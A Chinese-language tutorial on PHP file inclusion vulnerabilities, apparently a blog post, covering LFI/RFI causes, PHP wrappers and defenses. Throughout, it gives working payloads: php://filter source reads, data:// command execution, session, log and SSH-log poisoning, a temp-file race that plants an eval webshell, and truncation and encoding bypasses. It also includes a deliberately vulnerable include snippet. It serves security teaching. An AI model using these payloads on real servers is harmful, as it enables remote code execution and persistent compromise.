漏洞概述:

文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动态包含在服务器的文件,从而导致恶意代码的执行及敏感信息的泄露,主要包括本地文件包含LFI和远程文件包含RFI两种形式。

产生原因:

在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

利用条件:

1、用户能够控制这个动态变量

2、include()等函数通过动态变量的方式引入需要包含的文件

在PHP中,产生文件包含漏洞的几个函数:

include():

只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。

require():

只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。

include_once():

功能include()一样,区别在于当重复调用同一文件时,程序只调用一次。

require_once():

功能require()一样,区别在于当重复调用同一文件时,程序只调用一次。

文件包含功能要实现,需要在PHP的配置文件php.ini中开启allow_url_include;如果是远程文件包含,则除此之外还需要开启allow_url_fopen。

漏洞危害:

读取敏感文件

获取webshell

任意命令执行

在某些情况下,根据LFI漏洞的性质,可以运行系统可执行文件

存在文件包含漏洞的php源码:

$a = @$_GET['file'];

echo 'include $_GET[\'file\']';

if (strpos($a,'flag')!==false) {

die('nonono');

}

include $a;

?>

php.ini配置文件:

allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含

php伪协议文件包含:

File:// 访问本地文件系统

http:// 访问HTTPs网址

ftp:// 访问ftp URL

Php:// 访问输入输出流

Zlib:// 压缩流

Data:// 数据

Ssh2:// security shell2

Expect:// 处理交互式的流

Glob:// 查找匹配的文件路径

php伪协议文件包含总结:

利用方法:

1、利用file协议执行任意文件读取:

2、利用php伪协议:php://filter查看源代码:

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出base64编码后的内容,要获取真实内容的话,需要进行base64解码

?file=php://filter/read=convert.base64-encode/resource=index.php

?file=php://filter/convert.base64-encode/resource=../sss.php

3、session文件包含:

利用条件:

session的存储位置可以获取

session中的内容可以被控制,传入恶意代码

利用思路:

通过参数name写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell

1)、通过phpinfo的信息可以获取到session的存储位置

或者我们可以猜测默认的session存放位置进行尝试。linux下默认存储在/var/lib/php/session目录下

session_start();

$name=$_GET['name'];

$_SESSION["name"]=$name;

?>

此php会将获取到的GET型name变量的值存入到session中,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过查看响应包获取。

4、利用php伪协议:php://input

利用条件:

allow_url_include= On

php <5.0 ,allow_url_include=Off 情况下也可以用

php://input是个可以访问请求的原始数据的只读流。使用时,将要输入的数据以post方式提交

生成一句话木马:

读取目录结构:

5、利用php伪协议:data:

利用条件:

php > 5.2

allow_url_fopen=On && allow_url_include=On

?file=data:text/plain,<?php phpinfo();?>

?file=data:text/plain,<?php system('whoami');?>

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

6、利用php伪协议:phar://

利用条件:

PHP>= 5.3.0

phar:// 数据流包装器自PHP 5.3.0起开始。这个参数是就是php解压缩包的一个函数,不管目标文件后缀是什么,都将其当做压缩包来解压

用法格式:

?file=phar://压缩包/内部文件

注意:绝对路径或相对路径均可;压缩包只能使用zip协议压缩

使用时有两种方式:

1)、将木马文件压缩后,改为其他任意格式的文件都可以,比如改成txt文件。用zip协议将其压缩为info.zip;然后,将压缩包后缀改为png等其他格式得info.png。

在文件包含时利用方式:phar://xxx.png/xxx.php

使用绝对路径:

2)、无需修改压缩包的后缀名:

7、利用php伪协议:zip://

zip伪协议和phar协议类似(绝对路径或相对路径),但是用法不一样。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]zip://xxx.png#shell.php或zip://xxx.zip#shell.php。经笔者测试5.2.17 =

8、利用上传点制作图片马,并上传至服务器:

copy book4yi.jpg /b + info.php /a info.jpg

注意:txt文件被包含时也会执行文件中的PHP代码

在相对路径的表示中,符号../表示上一级目录,符合./表示本级目录

对于存在包含漏洞的脚本及文件上传点所在文件夹不同的情况,可利用../翻越到上一级目录进行包含。

9、临时文件包含:

在进行文件上传时,服务器会产生该文件的临时文件,可以在临时文件被删除前使用文件包含获取webshell

一般而言,在Linux系统中,临时文件会保存在目录/tmp下,而Windows系统中会保存在C:\Windows\Temp文件夹下。我们需要关注的重点就是如何获取临时文件名,并且要在临时文件被删除前包含,否则将不能利用。在Linux系统中,临时文件名的命名通过随机函数命名,Windows只有65535个临时文件名。

PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含

漏洞原理:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

利用原理:

文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell,这里需要利用到条件竞争

适用情形:

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

具体过程:

发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

利用脚本实现上述过程,成功包含临时文件后,会执行<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>,写入一个新的文件/tmp/g,这个文件就会永久留在目标机器上

本地用虚拟机复现的时候,发现生成的临时文件并不是在默认的/tmp/目录下,用find命令遍历查找:

日志文件包含:

访问日志:

利用条件:

需要知道服务器日志的存储路径,且日志文件可读

利用原理:

web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log

日志存储默认路径:

apache+Linux日志默认路径:/etc/httpd/logs/access.log、/var/log/httpd/access.log、var/log/apache2/access.log、var/log/apache2/error.log

apache+win2003日志默认路径:D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log

IIS6.0+win2003默认日志文件:C:\WINDOWS\system32\Logfiles

IIS7.0+win2003 默认日志文件:%SystemDrive%\inetpub\logs\LogFiles

nginx 日志文件:日志文件在用户安装目录logs目录下,假设安装路径为/usr/local/nginx或者var/log/nginx/,那日志目录就是在/usr/local/nginx/logs或者var/log/nginx/access.log下面

或者可以通过读取相应的配置文件获取log文件路径:

apache+linux 默认配置文件:/etc/httpd/conf/httpd.conf或/etc/init.d/httpd

IIS6.0+win2003 配置文件:C:/Windows/system32/inetsrv/metabase.xml

IIS7.0+WIN 配置文件:C:\Windows\System32\inetsrv\config\applicationHost.config

注意:如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改:

正常的php代码已经写入了/etc/log/apache2/access.log,包含即可执行代码

最开始kali本地复现的时候发现读取文件权限不足:

执行以下命令后复现成功:

chmod 777 -R /var/log/apache2/

SSH log:

利用条件:

需要知道ssh-log的位置,且可读

ssh日志默认路径:

/var/log/auth.log(默认情况下,所有用户都可读)

/var/log/secure

利用过程:

ssh '<?php phpinfo();?>'@192.168.107.129

直接包含其日志文件:

environ文件:

利用条件:

1、php以cgi方式运行,这样environ才会保持UA头

2、environ文件存储位置已知,且有权限访问environ文件

environ文件默认位置:proc/self/environ

由于本地环境不满足,无法进行复现,这里借张别人的图:

利用文件包含漏洞去包含proc/self/environ:

远程文件包含:

自php5.2后,php.ini默认配置下:

allow_url_fopen=on

allow_url_include=off

默认设置下是无法远程包含的,除非网站管理员设置了allow_url_include=on

所以远程包含的可能性很小

远程文件包含绕过技巧:

问号绕过:

?file=http://172.17.82.57/info.php?

#号绕过:

?file=http://172.17.82.57/info.php%23

对于有限制的文件包含:

00截断绕过:

利用条件:

magic_quotes_gpc=off

PHP版本 < 5.3.4

超长文件名截断:

php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256

http://192.168.107.145/test/1.php?file=../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././info.php

点号截断:

php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256

http://192.168.107.145/test/1.php?file=../info.php/...........................................................................................................................................................................................................................................................................................................................................................................................................................................

复现失败

编码绕过:

../:%2e%2e%2f、..%2f、%2e%2e/、

..\:%2e%2e%5c、..%5c、%2e%2e\

# 二次编码绕过:

../:%252e%252e%252f

..\:%252e%252e%255c

防御方案:

过滤危险字符:过滤../和./

配置php.ini文件

设置allow_url_fopen 和 allow_url_include为off

设置文件目录

设置白名单

1、包含目标的参数过滤:

文件名后缀固定:在包含的文件名前后加固定后缀;

文件名过滤:白名单或者黑名单过滤;

2、路径限制:

目录限制,在用户提交的变量前增加固定的路径,限制用户可调用的目录范围;

目录回退符过滤,避免回退符生效导致路径变化;

3、中间件的安全配置:

Magic_quotes_gpc(5.4以后被放弃用)

限制访问区域:php.ini 中设置open_basedir来限制用户访问文件的活动范围等;apache也有相关配置

设置访问权限:限制当前中间件所在用户的访问权限,例如;web服务器独立用户,并且只拥有访问目录和使用中间件的权限,从而有效避免越权访问其他文件;

参考如下:

php本地文件包含漏洞,php文件包含漏洞利用小结相关推荐

  1. CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

    0x01 了解本地文件包含 LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_o ...

  2. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  3. 米斯特白帽培训讲义(v2)漏洞篇 文件包含

    米斯特白帽培训讲义 漏洞篇 文件包含 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理 文件包含就是将一个文件包含到自己的文件中执行.它可分为本地包含和远程包含,本地包含 ...

  4. 米斯特白帽培训讲义 漏洞篇 文件包含

    米斯特白帽培训讲义 漏洞篇 文件包含 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理 文件包含就是将一个文件包含到自己的文件中执行.它可分为本地包含和远程包含,本地包含 ...

  5. pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

    目录 一.来自官方的简介 二.来自小可爱的通关步骤 第一关  File Inclusion(local) 1.读取"隐藏"文件 2.读取系统文件 3.结合文件上传getshell ...

  6. SQL注入、XSS、XXE、CSRF、SSRF、越权漏洞、文件上传、文件包含总结篇

    漏洞总结篇 SQL注入 什么是SQL注入? 怎么防御? 过滤特殊字符 修改php.in 使用mysqli_real_escape_string()函数 加固数据库方面 加固管理方面 Mybatis 防 ...

  7. 【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用

    文章目录 一.实验目的: 二.工具: 三.实验环境: 四.原理说明: 1. 原理: 2. 利用方法: 五.日志文件相关: 1. 日志文件路径: 2. 没有`access.log`访问日志的原因: 3. ...

  8. php post 漏洞_文件包含上传漏洞目录遍历命令执行漏洞

    制丨阿星 来源丨freebuff 作者丨Deutsh 文件上传漏洞: 一句话木马 一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量 执行函数: eval() assert() create ...

  9. 渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

    漏洞数据库:https://www.exploit-db.com/google-hacking-database 1.渗透测试 实用 浏览器插件 chrome.edge 插件:搜索 cookie,安装 ...

最新文章

  1. ICLR2021 | 清华大学黄高团队:显存不够?不妨抛弃端到端训练
  2. Hadoop生态组件-HIVE学习
  3. JS替换空格回车换行符
  4. 【论文解读】深度学习网络架构新视角:通过相关图表达理解神经网络(何恺明团队新作)...
  5. BBSSDK论坛移动化实现方案
  6. springxml解析
  7. 奔跑吧Linux内核初识
  8. dockers log查询dockers的文件_Tomcat PUT方法任意文件上传
  9. TCP/IP入门(3) --传输层
  10. PE文件磁盘与内存映像结构图
  11. Oracle的 MODEL 查询
  12. k8s集群部署项目_JAVA项目(推送镜像到云镜像服务器_这里使用阿里云)---K8S_Google工作笔记0061
  13. DragVideo,一种在播放视频时,可以任意拖拽的方案
  14. IE浏览器中发送到onenote的选项没有调出来??
  15. 随手记---字符和词汇的区别
  16. 光伏补贴双轨制仍将延续
  17. php yyuc框架,求一份YYUC框架文件和帮助文档
  18. ios html跳转appstore,H5跳转app store问题
  19. Unity--Configurable Joint——实战带你了解可配置关节
  20. mysql 计算农历_干支方法结算(农历算法)

热门文章

  1. 深入源码之Commons Logging[转]
  2. 解决离线安装依赖包的方法
  3. Eclipse启动Tomcat,45S超时问题解决
  4. 2021年2月十大热门报告盘点(附百大热门报告列表及下载链接)
  5. 【报告分享】字节跳动2019年企业社会责任报告.pdf(附下载链接)
  6. 个性化推荐认知之----数字化转型浪潮下,产品经理应如何重新认知个性化推荐?...
  7. 业界分享 | Embedding技术在商业搜索与推荐场景的实践
  8. js 数组 改变长度_Java数组,什么是Java数组?Java数组学习
  9. 自建服务器同步软件,自建Syncthing中继服务器(私密传输或造福大众)
  10. 时序动作定位:Rethinking the Faster R-CNN Architecture for Temporal Action Localization(TAL-Net)